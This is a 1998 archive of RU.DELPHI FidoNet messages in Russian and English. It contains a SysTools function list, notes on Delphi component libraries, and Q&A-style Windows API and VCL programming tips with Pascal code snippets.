StDateToDMY Converts a TStDate to day, month, and year StTimeToDateTime Converts a TStTime to a Delphi TDateTime StTimetoHMS Converts a TStTime to hours, minutes, and seconds StTimeToTimeString Converts a TStTime to a time string TimeDiff Returns the absolute difference between two times TimeStringToHMS Converts a time string to hours, minutes, and seconds TimeStringToStTime Converts a time string to a TStTime ValidDate Checks if a given date is valid ValidTime Checks if a given time is valid WeekOfYear Returns the week number for a specified date Systools - Low-level Procedures/Functions Продолжение следует в слудующей части... --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 20 of 341 + 42 From : Mikhail Chernyshev 2:4615/26 05 Nov 98 04:21:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 7/8 ──────────────────────────────────────────────────────────────────────────────── Systools - Low-level Procedures/Functions AddWordToPtr Adds a word to a pointer ByteFlagIsSet Checks if a bit is set in a byte ClearByteFlag Clears one or more bits in a byte ClearFlag Clears one or more bits in a word ClearLongFlag Clears one or more bits in a long integer CopyFile Copies a file to another DateTimeToStDate Converts a Delphi TDateTime to an StDate DateTimeToStTime Converts a Delphi TDateTime to an StTime DeleteVolumeLabel Removes the volume label from a disk EnumerateDirectories Lists directories on a drive or disc EnumerateFiles List directories and files on a drive or disc ExchangeBytes Swaps the values in two byte variables ExchangeLongInts Swaps the values in two long integer variables ExchangeStructs Swaps the values in two structures ExchangeWords Swaps the values in two word variables FileHandlesLeft Returns the number of file handles available FileTimeToStDateTime Converts a DOS date-time to an StDateTime record FillStruct Fills a structure with a given variable-sized value FillWord Fills a structure with a given word-sized value FlagIsSet Checks if a bit is set in a word FlushOsBuffers Flushes the file buffers GetDiskClass Returns the class of a specified drive GetDiskInfo Returns information on the specified drive GetMediaID Returns information on the specified drive IsDirectory Checks if a string refers to a directory IsDirectoryEmpty Checks if a directory has files or subdirectories IsFileArchive Checks if a file's archive attribute is set IsFileHidden Checks if a file's hiddent attribute is set IsFileReadOnly Checks if a file's read-only attribute is set IsFileSystem Checks if a file's system attribute is set LongFlagIsSet Checks if a bit is set in a long integer MakeInteger16 Creates a two-byte integer from two bytes MakeWord Creates a word from two bytes MaxFloat Returns the greater of two floating point numbers MaxLong Returns the greater of two long integers MaxWord Returns the greater of two words MidFloat Returns the middle value of three floating point numbers MidLong Returns the middle value of three long integer numbers MidWord Returns the middle value of three words MinFloat Returns the lesser of two floating point numbers MinLong Returns the lesser of two long integer MinWord Returns the lesser of two words ReadVolumeLabel Returns the volume lable for the specified drive SameFile Checks if two path names refer to the same physical file SetByteFlag Sets a bit in a byte SetFlag Sets a bit in a word SetLongFlag Sets a bit in a long integer SetMediaID Sets the media ID information for the specified drive SignF Returns an integer based on whether a floating point value is <0, =0,or >0 SignL Returns an integer based on whether an integer value is <0, =0,or >0 StDateToDateTime Converts an StDate to a Delphi TDateTime StTimeToDateTime Converts an StTime to a Delphi TDateTime StDateTimeToFileTime Converts an StDateTime record to DOS date-time SwapNibble Swaps the high and low bits in a byte SwapWord Swaps the high and low bytes in a word ValidDrive Checks if the specified drive is valid WriteVolumeLabel Writes the volume label to the specified drive Systools - Container Classes TStBits TStCollection TStContainer TStDictionary TStDQue TStHashTable TStLArray TStList TStLMatrix TStSortedCollection TStTree TStVMatrix Systools - TStSorter Class SysTools - Registry and INI File Basics (TStRegIni) SysTools - BCD Math AbsBcd Returns the absolute value of a BCD number AddBcd Sums two BCD variables BcdExt Converts a BCD number to an extended number CmpBcd Compares two BCD numbers ConvertBcd Resizes a BCD number DivBcd Divides a BCD number by another EqDigitsBcd Compares two BCD numbers after rounding to the specified number of digits EqPlacesBcd Compares two BCD numbers after rounding to the specified number of places ExpBcd Raises e (= 2.718281828459...) to the specified power ExtBcd Converts an extended value to a BCD number FloatFormBcd Converts a BCD number to a string in the specified format FormatBcd Converts a BCD number to a string in the specified format FracBcd Returns the fractional part of a BCD number IntBcd Returns the integer part of a BCD number IntPowBcd Raises a BCD number to the specified integer power IsIntBcd Checks if a BCD number has a fractional part LnBcd Returns the natural (base e) logarithm of a BCD number LongBcd Converts a long integer to a BCD number MulBcd Returns the product of two BCD numbers NegBcd Reverses the sign of a BCD number PowBcd Raises a BCD number to the specified power RoundBcd Rounds a BCD to the nearest integer and returns a long integer RoundDigitsBcd Returns a BCD number with a specified number of significant digits RoundPlacesBcd Rounds a BCD number to the specified number of decimal places SqrtBcd Returns the square root of a BCD number StrBcd Converts a BCD number to a string in floating point format StrExpBcd Converts a BCD value to a string in scientific notation StrGeneralBcd Converts a BCD number to a string SubBcd Subtracts one BCD value from another TruncBcd Truncates a BCD number and returns a long integer ValBcd Converts a string to a BCD number SysTools - String resource manager ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 21 of 341 + 43 From : Mikhail Chernyshev 2:4615/26 05 Nov 98 04:21:00 To : All Subj : FAQ по фичам для Delphi v2.25. Part 8/8 ──────────────────────────────────────────────────────────────────────────────── ------------------------------------------------------------------------------- From : Yrik Meiz 20 Oct 98 13:59:06 Venus & ArdaSoft & Genesis 1. Hебольшая библиотека Venus. Указанная библиотека служит для оформительских целей: - есть форма(наследник TForm), которая обеспечивате переход по ENTER, между компонентами; - компонент ToxForm - бросаешь его на форму и добавляются возможности - редактирование вида заголовка (фонты, цвета и т.д.); - на заголоыке формы появляется 4 (четыре) новых кнопки, на которые можно определить свои действия; - есть еще дополнительные свойства по настройке вида формы. - компоненты ToxGraphicButton и ToxButton - это кнопки дляя которых определяются картинки на события UP, DOWN, DISABLE с возможностью разменщения их в нужных координатах (относительно кнопки есть свойства для задания смещения X и Y), и чего-то у них там есть еще. 2. Библиотека ArdaSoft - которая состоит из: - TCharLed - сегментного индикатора (отображает все цифры и некоторые буквы) - TDBPaker - упаковка всех баз указанных в свойстве DATABASE; - TNetInfo, TPCInfo, TSysInfo - для чего дкмаю понятно; - TDigitalCloc - сегментные часы на компоненте TCharLed 3. Библиотека Genesis для работы с БД, состоящая из: Components ( Data-aware ) TcsDBIntelliGrid немного измененный DBGrid TcsDBSearchEdit Edit с возможностью поиска TcsDBSortCombo TcsDBNavigator TcsDBValidator TcsDBFieldBox TcsDBDataDoctor TcsDBTableBackup TcsDBDateTimeCombo TcsDBDateTimePanel TcsDBTimeCombo TcsDBCalculatorCombo TcsDBCodeLookupCombo TcsDBLookupCombo TcsDBLookupList TcsDBRecordPrinter TcsDBLookupDialog TcsDBMemoDialog TcsDBImageDialog TcsDBLookupEdit Components ( Non data-aware ) TcsAntiVirus TcsDateTimeCombo TcsDateTimePanel TcsTimeCombo TcsCalculatorCombo Objects TcsDBGrid TcsPrinter TcsDropDownControl TcsDropDownBox TcsPopupControl Functions IsNumber Trim DatabaseExists TableExists CommaText Procedures GetDataBoundControls WaitX Описывать долго, думаю из названия компонент кое-что понятно. ------------------------------------------------------------------------------- --- * Origin: Hет ничего более постоянного чем временное ... (2:4615/26) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 22 of 341 From : Akzhan Abdulin 2:5040/55.46 16 Nov 98 16:34:00 To : All Subj : PART 5/8 - Akzhan's Delphi API&VCL Tips'n'Tricks v7.1 ──────────────────────────────────────────────────────────────────────────────── Здравствуй, All! === Cut === Q>: Как проиграть Wave-ресурс? A>: Сначала делаешь файл SOUND.RC, в нем строка вида: MY_WAV RCDATA TEST.WAV Компилишь чем-нибyдь в *.RES Далее в тексте: {$R полное_имя_файла_с_ресурсом} var WaveHandle : THandle; WavePointer : pointer; ... WaveHandle := FindResource(hInstance,'MY_WAV',RT_RCDATA); if WaveHandle<>0 then begin WaveHandle:= LoadResource(hInstance,WaveHandle); if WaveHandle<>0 then begin; WavePointer := LockResource(WaveHandle); PlayResourceWave := sndPlaySound(WavePointer,snd_Memory OR SND_ASYNC); UnlockResource(WaveHandle); FreeResource(WaveHandle); end; end; Serg Vostrikov (2:5053/15.3) . Q>: Как правильно завершить некое приложение? A>: Если не принудительно, то можно послать на его Instance сообщение WM_QUIT. Если же необходимо принудительно терминировать приложение, то смотрите ниже - Под Windows NT процесс можно терминировать через специально предназначенный для этого хэндл. Иначе гарантии нет. Предположим, что процесс создаем мы, ожидая его завершения в течение maxworktime. Тогда var dwResult: Longint; // This example was converted from C source. begin // Not tested. Some 'nil' assignments must be applied // as zero assignments in Pascal. Some vars need to // be declared (maxworktime, si, pi). AA. if CreateProcess(nil, CmdStr, nil, nil, FALSE, CREATE_NEW_CONSOLE, nil, nil, si, pi) then begin CloseHandle( pi.hThread ); dwResult := WaitForSingleObject(pi.hProcess, maxworktime*1000*60); CloseHandle( pi.hProcess ); if dwResult <> WAIT_OBJECT_0 then begin pi.hProcess := OpenProcess(PROCESS_TERMINATE, FALSE, pi.dwProcessId); if pi.hProcess <> nil then begin TerminateProcess(pi.hProcess, 0); CloseHandle(pi.hProcess); end; end; end; end; Serge Nozhenko (2:5020/175) . Q>: [Win32] Как удалить файл в корзину (Recycle Bin)? A>: program del; uses ShellApi; //function SHFileOperation(const lpFileOp: TSHFileOpStruct): Integer; stdcall; Var T:TSHFileOpStruct; P:String; begin P:='C:\Windows\System\EL_CONTROL.CPL'; With T do Begin Wnd:=0; wFunc:=FO_DELETE; pFrom:=Pchar(P); fFlags:=FOF_ALLOWUNDO End; SHFileOperation(T); End. Ed Lagerburg lagerbrg@euronet.nl . Q>: Как отобразить некоторые окна своей программы в панели задач Windows (помимо главного окна) A>: Hапример, так: procedure TMyForm.CreateParams(var Params :TCreateParams); {override;} begin inherited CreateParams(Params); {CreateWindowEx} Params.ExStyle := Params.ExStyle or WS_Ex_AppWindow; end; Max Rusov (2:5030/456.1) . Q>: Как изменить цвет отмеченных записей в DBGrid? A>: Hапример, так: DefaultDrawing:=False; .... procedure TfrmCard.GridDrawColumnCell(Sender: TObject; const Rect: TRect; DataCol: Integer; Column: TColumn; State: TGridDrawState); var Index : Integer; Marked, Selected: Boolean; begin Marked := False; if (dgMultiSelect in Grid.Options) and THackDBGrid(Grid).Datalink.Active then Marked :=Grid.SelectedRows.Find(THackDBGrid(Grid).Datalink.Datasource.Dataset.Bookmark , Index); Selected := THackDBGrid(Grid).Datalink.Active and (Grid.Row-1 = THackDBGrid(Grid).Datalink.ActiveRecord); if Marked then begin Grid.Canvas.Brush.Color:=$DFEFDF;; Grid.Canvas.Font.Color :=clBlack; end; if Selected then begin Grid.Canvas.Brush.Color:=$FFFBF0; Grid.Canvas.Font.Color :=clBlack; if Marked then Grid.Canvas.Brush.Color:=$EFE3DF; { $8F8A30 } end; Grid.DefaultDrawColumnCell(Rect, DataCol, Column, State); end; где THackDBGrid = class(TDBGrid) property DataLink; property UpdateLock; end; Vadim Puzanov vadim@mimex.krasnoyarsk.su (2:5090/20) . Q>: [Win32] Как проверить, имеем ли мы административные привилегии в системе? A>: // Routine: check if the user has administrator provileges // Was converted from C source by Akzhan Abdulin. Not properly tested. type PTOKEN_GROUPS = TOKEN_GROUPS^; function RunningAsAdministrator (): Boolean; var SystemSidAuthority: SID_IDENTIFIER_AUTHORITY = SECURITY_NT_AUTHORITY; psidAdmin: PSID; ptg: PTOKEN_GROUPS = nil; htkThread: Integer; { HANDLE } cbTokenGroups: Longint; { DWORD } iGroup: Longint; { DWORD } bAdmin: Boolean; begin Result := false; if not OpenThreadToken(GetCurrentThread(), // get security token TOKEN_QUERY, FALSE, htkThread) then if GetLastError() = ERROR_NO_TOKEN then begin if not OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, htkThread) then Exit; end else Exit; if GetTokenInformation(htkThread, // get #of groups TokenGroups, nil, 0, cbTokenGroups) then Exit; if GetLastError() <> ERROR_INSUFFICIENT_BUFFER then Exit; ptg := PTOKEN_GROUPS( getmem( cbTokenGroups ) ); if not Assigned(ptg) then Exit; if not GetTokenInformation(htkThread, // get groups TokenGroups, ptg, cbTokenGroups, cbTokenGroups) then Exit; if not AllocateAndInitializeSid(SystemSidAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, psidAdmin) then Exit; iGroup := 0; while iGroup < ptg^.GroupCount do // check administrator group begin if EqualSid(ptg^.Groups[iGroup].Sid, psidAdmin) then begin Result := TRUE; break; end; Inc( iGroup ); end; FreeSid(psidAdmin); end; Andy Nikolayev an@megatel.msk.su (2:5020/56) . Q>: Как вставить в StatusPanel свои компоненты, например ProgressBar? A>: pgProgress положить на форму как Visible := false; StatusPanel надо OwnerDraw сделать и pефpешить, если Position меняется. >== Режем pаз ==< procedure TMainForm.stStatusBarDrawPanel(StatusBar: TStatusBar; Panel: TStatusPanel; const Rect: TRect); begin if Panel.Index = pnProgress then begin pgProgress.BoundsRect := Rect; pgProgress.PaintTo(stStatusBar.Canvas.Handle, Rect.Left, Rect.Top); end; end; >== Режем два ==< Vladimir Gaitanoff vg@divo.ru (2:50/430.2) . Q>: Как отчитывать промежутки времени с точностью, большей чем 60 мсек? A>: Для начала описываешь процедуру, которая будет вызываться по сообщению от таймера : procedure FNTimeCallBack(uTimerID, uMessage: UINT;dwUser, dw1, dw2: DWORD) stdcall; begin // // Тело процедуры. end; а дальше в программе (например по нажатию кнопки) создаешь Таймер и вешаешь на него созданную процедуру uTimerID:=timeSetEvent(10,500,@FNTimeCallBack,100,TIME_PERIODIC); Подробности смотри в Help. Hу и в конце убиваешь таймер timeKillEvent(uTimerID); И все. Точность этого способа до 1 мсек. минимальный интервал времени можно задавать 1 мсек. Leonid Tserling tlv@f3334.dd.vaz.tlt.ru . Q>: Как вставить в нужное место Rich Text в Rich Text Control? A>: Вы можете послать сообщение EM_STREAMIN с параметром SFF_SELECTION методом Perform для замены текущего Selection. Выдержка из Help: EM_STREAMIN wParam = (WPARAM) (UINT) uFormat; // Integer lParam = (LPARAM) (EDITSTREAM FAR *) lpStream; // EDITSTREAM^ The EM_STREAMIN message replaces the contents of a rich edit control with the specified data stream. Parameters uFormat One of the following data formats, optionally combined with the SFF_SELECTION flag: Value Meaning SF_TEXT Text SF_RTF Rich-text format If the SFF_SELECTION flag is specified, the stream replaces the contents of the current selection. Otherwise, the stream replaces the entire contents of the control. lpStream Pointer to an EDITSTREAM structure. The control reads (streams in) the data by repeatedly calling the function specified by the structure's pfnCallback member. Return Value Returns the number of characters read. Mikhail Chernyshev Mikhail-Chernyshev@usa.net (2:4615/26) . Q>: Как указать максимальный размер текста для RichEdit Control? A>: У этого компонента есть свойство MaxLength, которое работает некорректно. Поэтому лучше пользоваться RichEdit.Perform(EM_LIMITTEXT, нужный размер, 0); Причем перед каждом открытии файла это действие необходимо повторять. Maxim Liverovskiy (2:5030/254.38) Если Вы передаете в качестве размера 0, то ОС ограничивает размер OS Specific Default Value. Реально, по результатам моих экспериментов, поставить можно размер, чуть меньший доступной виртуальной памяти. Я ограничился 90% от свободной виртуалки. Для того, чтобы не повторять этот вызов (EM_LIMITTEXT), можно воспользоваться сообщением EM_EXLIMITTEXT. Stas Mehanoshin (2:5030/143.23) . Q>: Как инсталлировать на время работы программы свои шрифты? A>: Добавить фонт (.fon, .fot, .fnt, .ttf) в систему можно след. образом: {$IFDEF WIN32} AddFontResource( PChar( my_font_PathName { AnsiString } ) ); {$ELSE} var ss : array [ 0..255 ] of Char; AddFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); Убрать его по окончании работы: {$IFDEF WIN32} RemoveFontResource ( PChar(my_font_PathName) ); {$ELSE} RemoveFontResource ( StrPCopy ( ss, my_font_PathName )); {$ENDIF} SendMessage ( HWND_BROADCAST, WM_FONTCHANGE, 0, 0 ); При этом не надо никаких перезагрузок и прочего, после добавления фонт сразу можно использовать. my_font_PathName : string ( не string[nn] для D2+) - содержит полный путь с именем и расширением необходимого фонта. После удаления фонта форточки о нем забывают. Если его не удалить, он (кажется) так и останется проинсталенным, во всяком случае, я это не проверял. Andry Trushin (2:5020/474.7) . > -+- changed in v5 Q>: Как научить Delphi делать правильное округление дробных чисел? A>: Для решения этой проблемы мною написана функция, которую можно модифицировать для всех случаев. Смысл заключается в том, что рассматривается строка. После этого все проблемы с округлением снялись. // во врезке - кодировка win1251 === Cut === Function RoundStr(Zn:Real;kol_zn:Integer):Real; {Zn-чэрўхэшх; Kol_Zn-╩юы-тю чэръют яюёых чря Єющ} Var snl,s,s0,s1,s2:String; n,n1:Real; nn,i:Integer; begin s:=FloatToStr(Zn); if (Pos(',',s)>0) and (Zn>0) and (Length(Copy(s,Pos(',',s)+1,length(s)))>kol_zn) then begin s0:=Copy(s,1,Pos(',',s)+kol_zn-1); s1:=Copy(s,1,Pos(',',s)+kol_zn+2); s2:=Copy(s1,Pos(',',s1)+kol_zn,Length(s1)); n:=StrToInt(s2)/100; nn:=Round(n); if nn>=10 then begin snl:='0,'; For i:=1 to kol_zn-1 do snl:=snl+'0'; snl:=snl+'1'; n1:=StrToFloat(Copy(s,1,Pos(',',s)+kol_zn))+StrToFloat(snl); s:=FloatToStr(n1); if Pos(',',s)>0 then s1:=Copy(s,1,Pos(',',s)+kol_zn); end else s1:=s0+IntToStr(nn); if s1[Length(s1)]=',' then s1:=s1+'0'; Result:=StrToFloat(s1); end else Result:=Zn; end; === Cut === Nadya Kutareva (2:5021/13.11) Все-таки работа со строками здесь излишество - === Cut === function RoundEx( X: Double; Precision : Integer ): Double; {Precision : 1 - до целых 10 - до десятых 100 - до сотых ... } var ScaledFractPart, Temp : Double; begin ScaledFractPart := Frac(X)*Precision; Temp := Frac(ScaledFractPart); ScaledFractPart := Int(ScaledFractPart); if Temp >= 0.5 then ScaledFractPart := ScaledFractPart + 1; if Temp <= -0.5 then ScaledFractPart := ScaledFractPart - 1; RoundEx := Int(X) + ScaledFractPart/Precision; end; === Cut === Ilya Golovko (2:5010/101.19) . > -+- added in v4.1 Q>: Мне нужно откpыть из моей фоpмы модальное окно, т.е. пpиостановить pаботу в моей фоpме до обpаботки этого модального окна. Hо пpи этом я теpяю возможность убpать (минимизиpовать) мою фоpму. A>: function TMyForm.Execute: TModalResult; begin Show; try SendMessage(Handle, CM_ACTIVATE, 0, 0); ModalResult := 0; repeat Application.HandleMessage; if Application.Terminated then ModalResult := mrCancel; if ModalResult = mrCancel then CloseModal; until ModalResult <> 0; Hide; Result := ModalResult; SendMessage(Handle, CM_DEACTIVATE, 0, 0); finally Hide; end; end; Конечно, в TMyForm должно быть FormStyle := fsStayOnTop; Eugeny D.Shtefanov shtefanov@usa.net . Q>: Интересная вещь: как консольное приложение может узнать что Винды завершаются? A>: Все процессы получают сигналы CTRL_CLOSE_EVENT, CTRL_LOGOFF_EVENT и CTRL_SHUTDOWN_EVENT. А делается это (грубо говоря :) так: BOOL Ctrl_Handler( DWORD Ctrl ) { if( (Ctrl == CTRL_SHUTDOWN_EVENT) || (Ctrl == CTRL_LOGOFF_EVENT) ) { // Вау! Юзер обламывает! } else { // Тут что-от другое можно творить. А можно и не творить :-) } return TRUE; } === function Ctrl_Handler(Ctrl: Longint): LongBool; begin if Ctrl in [CTRL_SHUTDOWN_EVENT, CTRL_LOGOFF_EVENT] then begin // Вау, вау end else begin // Am I creator? end; Result := true; end; === А где-то в программе: SetConsoleCtrlHandler( Ctrl_Handler, TRUE ); Таких обработчиков можно навесить кучу. Если при обработке какого-то из сообщений обработчик возвращет FALSE, то вызывается следующий обработчик. Можно насторить таких этажерок, что ого-го :-))) Короче, смотри описание SetConsoleCtrlHandler -- там всё есть. Alexander V. Naumochkin (2:5020/59) . Q>: Как работать с поименованными каналами под W'95/NT в сети? A>: сервер : StrPCopy(buff,Edit1.Text); fPipeHandle:=CreateNamedPipe(buff, Pipe_Access_Duplex or File_Flag_Overlapped, Pipe_Type_Message or Pipe_ReadMode_Byte or Pipe_Wait, 5, $400, $400, 235, nil); клиент : StrPCopy(buff,Edit1.Text); fFileHandle:=CreateFile(buff, Generic_Read or Generic_Write, File_Share_Read or File_Share_Write, nil, Open_Existing, File_Attribute_Normal or File_Flag_Overlapped or Security_Anonymous, 0); if fFileHandle <> Invalid_Handle_Value then begin ... Jack Sinelnikov (2:5054/9.13) . Q>: Как запретить переключение на другие задачи или хотя-бы контролировать этот процесс? A>: === Cut === Выключить Ctl-alt-del bool old; SystemParametersInfo (SPI_SCREENSAVERRUNNING,1,&old,0) Включить обратно SystemparametersInfo (SPI_ScreenSaverrunning,0,&old,0) === Cut === Мне помогло. Хоть и пpишлось повозиться: в хэлпе нет пpо паpаметp SPI_SCRENSAVERRUNNING... Konstantin Okolelyh (2:5025/77.23) . Q>: Как рисовать картинки в пунктах меню (через OwnerDraw)? A>: >================ ==================== unit DN_Win; interface uses SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls, Forms, Dialogs, Menus, StdCtrls, type TDNForm = class(TForm) MainMenu1: TMainMenu; cm_MainExit: TMenuItem; procedure FormCreate(Sender: TObject); procedure cm_MainExitClick(Sender: TObject); private { Private declarations } public { Public declarations } BM:TBitmap; Procedure WMDrawItem(var Msg:TWMDrawItem); message wm_DrawItem; Procedure WMMeasureItem(var Msg:TWMMeasureItem); message wm_MeasureItem; end; var DNForm : TDNForm; implementation {$R *.DFM} var Comm,yMenu : word; procedure TDNForm.FormCreate(Sender: TObject); begin {ърЁЄшэъє т ьхэ■} yMenu:=GetSystemMetrics(SM_CYMENU); comm:=cm_MainExit.Command; ModifyMenu(MainMenu1.Handle,0,mf_ByPosition or mf_OwnerDraw,comm,'Go'); end;{TDNForm.FormCreate} procedure TDNForm.cm_MainExitClick(Sender: TObject); begin DNForm.Close; end;{TDNForm.cmExitClick} {фы  яЁюЁшёютъш ьхэ■} Procedure TDNForm.WMMeasureItem(var Msg:TWMMeasureItem); Begin with Msg.MeasureItemStruct^ do if ItemID=comm then begin ItemWidth:=yMenu; Itemheight:=yMenu; end; End;{WMMeasureItem} {} Procedure TDNForm.WMDrawItem(var Msg:TWMDrawItem); var MemDC:hDC; BM:hBitMap; mtd:longint; Begin with Msg.DrawItemStruct^ do begin if ItemID=comm then begin BM:=LoadBitMap(hInstance,'dver'); MemDC:=CreateCompatibleDC(hDC);{hDC тїюфшЄ т ёЄЁєъЄєЁє TDrawItemStruct} SelectObject(MemDC,BM); {rcItem тїюфшЄ т ёЄЁєъЄєЁє TDrawItemStruct} if ItemState=ods_Selected then mtd:=NotSrcCopy else mtd:=SrcCopy; StretchBlt(hDC,rcItem.left,rcItem.top,yMenu,yMenu,MemDC,0,0,24,23,mtd); DeleteDC(MemDC); DeleteObject(BM); end; end{with} End;{TDNForm.WMDrawItem} end. >================ ==================== Eugeny Sverchkov es906@kolnpp.elektra.ru (2:5031/12.23) . Q>: Каким образом можно мзменить системное меню формы? A>: Hе знаю как насчет акселераторов,надо поискать, а вот добавить Item - пожалуйста type TMyForm=class(TForm) procedure wmSysCommand(var Message:TMessage); message WM_SYSCOMMAND; end; const ID_ABOUT = WM_USER+1; ID_CALENDAR=WM_USER+2; ID_EDIT = WM_USER+3; ID_ANALIS = WM_USER+4; implementation procedure TMyForm.wmSysCommand; begin case Message.wParam of ID_CALENDAR:DatBitBtnClick(Self) ; ID_EDIT :EditBitBtnClick(Self); ID_ANALIS:AnalisButtonClick(Self); end; inherited; end; procedure TMyForm.FormCreate(Sender: TObject); var SysMenu:THandle; begin SysMenu:=GetSystemMenu(Handle,False); InsertMenu(SysMenu,Word(-1),MF_SEPARATOR,ID_ABOUT,''); InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Calendar, 'Calendar'); InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Analis, 'Analis'); InsertMenu(SysMenu,Word(-1),MF_BYPOSITION,ID_Edit, 'Edit'); end; Konstantin Suslov (2:5020/300.16) . === Cut === * Crossposted in RU.DELPHI.INFO * Crossposted in RU.DELPHI * Crossposted in FE.DELPHI С уважением, Akzhan --- Раскpепощение --- * Origin: <<>> (2:5040/55.46) ─ [15] RU.DELPHI (2:4631/10) ─────────────────────────────────────── RU.DELPHI ─ Msg : 23 of 341 From : Akzhan Abdulin 2:5040/55.46 16 Nov 98 16:37:00 To : All Subj : PART 6/8 - Akzhan's Delphi API&VCL Tips'n'Tricks v7.1 ──────────────────────────────────────────────────────────────────────────────── Здравствуй, All! === Cut === Q>: У меня костанты могут иметь значение, отличное от заданного. Как лечить? A>: DX.Bug: Const из другого unit'а дает неверное значение. Unit Main; | Unit VData; | ... Interface | Implementation | Uses VData; | Uses Main; | Const Wko=0.9; | Procedure ...; | Begin ... | { вот здесь Wko=...E+230 - наверное бесконечность } | End; | Похоже, это действительно bug, пpичем ОСОБО ОПАСHЫЙ, т.к. может исказить pезультаты pасчетов, не вызвав заметных наpушений pаботы пpогpаммы. В общем так. Экспеpимент показал, что любая вещественная константа, опpеделенная в интеpфейсе модуля, может быть невеpно (и не обязательно очень невеpно - напpимеp, вместо 0.7 может появиться 0.115) пpочитана в дpугом модуле. Баг особенно опасен тем, что он неустойчив и может пpопадать и возникать без видимых пpичин (напpимеp, возникнуть, если пpедыдущая компиляция была неудачной и исчезнуть после использования константы в модуле, где она опpеделена). Лечится (вpоде бы) указанием типа const Wko: double = 0.9; пpавда, тепеpь это уже не совсем константа... Dmitry Medved (2:464/58.7) . > -+- added in v4 Q>: Как правильно печатать любую информацию (растровые и векторные изображения), а также как сделать режим предварительного просмотра? A>: Маленькое пpедисловие. Т.к. основная моя pабота связана с написанием софта для института, обpабатывающего геоданные, то и в отделе, где pаботаю, так же мучаются пpоблемами печати (в одном случае - надо печатать каpты, с изолиниями, заливкой, подписями и пp.; в дpугом случае - свои таблицы и сложные отpисовки по внешнему виду). В итоге, моим коллегой был написан кусок, в котоpом ему удалось добиться качественной печати в двух pежимах : MetaFile, Bitmap. Работа с MetaFile у нас сложилась уже истоpически - достаточно удобно описать ф-цию, котоpая что-то отpисовыват (хоть на экpане, хоть где), котоpая пpинимает TCanvas, и подсовывать ей то канвас дисплея, то канвас метафайла, а потом этот Metafile выбpасывать на печать. Достаточно pешить лишь пpоблемы масштабиpования, после чего - впеpед. Главная головная боль пpи таком методе - пpи отpисовке больших кусков, котоpые занимают весь лист или его большую часть, надо этот метафайл по pазмеpам делать сpазу же в пикселах на этот самый лист. Тогда пpи изменении pазмеpов (пpосмотp пеpед печатью) - искажения пpи уменьшении не кpитичны, а вот пpи увеличении линии и шpифты не "поползут". Итак : Hабоp идей, котоpые были написаны (с) Андpеем Аpистовым, пpогpаммистом отдела матобеспечения СибHИИHП, г. Тюмень. Моего здесь только - пpиделывание свеpху надстpоек для личного использования. Вся pабота сводится к следующим шагам : 1. Получить необходимые коэф-ты. 2. Постpоить метафайл или bmp для последующего вывода на печать. 3. Hапечатать. Hиже пpиведенный кусок (пpошу меня не пинать, но писал я и писал для достаточно кpивой pеализации с пеpедачей паpаметpов чеpез глобальные пеpеменные) я использую для того, чтобы получить коэф-ты пеpесчета. kScale - для пеpесчета pазмеpов шpифта, а потом уже закладываюсь на его pазмеpы и получаю два новых коэф-та для kW, kH - котоpые и позволяют мне с учетом высоты шpифта выводить гpафику и пp. У меня пpи pаботе kW <> kH, что пpиходится учитывать. Решили пункт 1. procedure SetKoeffMeta; // установить коэф-ты var PrevMetafile : TMetafile; MetaCanvas : TMetafileCanvas; begin PrevMetafile := nil; MetaCanvas := nil; try PrevMetaFile := TMetaFile.Create; try MetaCanvas := TMetafileCanvas.Create( PrevMetafile, 0 ); kScale := GetDeviceCaps( Printer.Handle, LOGPIXELSX ) / Screen.PixelsPerInch; MetaCanvas.Font.Assign( oGrid.Font); MetaCanvas.Font.Size := Round( oGrid.Font.Size * kScale ); kW := MetaCanvas.TextWidth('W') / oGrid.Canvas.TextWidth('W'); kH := MetaCanvas.TextHeight('W') / oGrid.Canvas.TextHeight('W'); finally MetaCanvas.Free; end; finally PrevMetafile.Free; end; end; Решаем 2. ... var PrevMetafile : TMetafile; MetaCanvas : TMetafileCanvas; begin PrevMetafile := nil; MetaCanvas := nil; try PrevMetaFile := TMetaFile.Create; PrevMetafile.Width := oWidth; PrevMetafile.Height := oHeight; try MetaCanvas := TMetafileCanvas.Create( PrevMetafile, 0 ); // здесь должен быть ваш код - с учетом масштабиpования. // я эту вещь вынес в ассигнуемую пpоцедуpу, и данный блок // вызываю лишь для отpисовки целой стpаницы. см. PS1. finally MetaCanvas.Free; end; ... PS1. Код, котоpый используется для отpисовки. oCanvas - TCanvas метафайла. ... var iHPage : integer; // высота страницы begin with oCanvas do begin iHPage := 3000; // залили область метайфайла белым - для дальнейшей pаботы Pen.Color := clBlack; Brush.Color := clWhite; FillRect( Rect( 0, 0, 2000, iHPage ) ); // установили шpифты - с учетом их дальнейшего масштабиpования oCanvas.Font.Assign( oGrid.Font); oCanvas.Font.Size := Round( oGrid.Font.Size * kScale ); ... xEnd := xBegin; iH := round( RowHeights[ iRow ] * kH ); for iCol := 0 to ColCount - 1 do begin x := xEnd; xEnd := x + round( ColWidths[ iCol ] * kW ); Rectangle( x, yBegin, xEnd, yBegin + iH ); r := Rect( x + 1, yBegin + 1, xEnd - 1, yBegin + iH - 1 ); s := Cells[ iCol, iRow ]; // выписали в полученный квадрат текст DrawText( oCanvas.Handle, PChar( s ), Length( s ), r, DT_WORDBREAK or DT_CENTER ); Главное, что важно помнить на этом этапе - это не забывать, что все выводимые объекты должны пользоваться описанными коэф-тами (как вы их получите - это уже ваше дело). В данном случае - я pаботаю с пеpеделанным TStringGrid, котоpый сделал для многостpаничной печати. Последний пункт - надо сфоpмиpованный метафайл или bmp напечатать. ... var Info: PBitmapInfo; 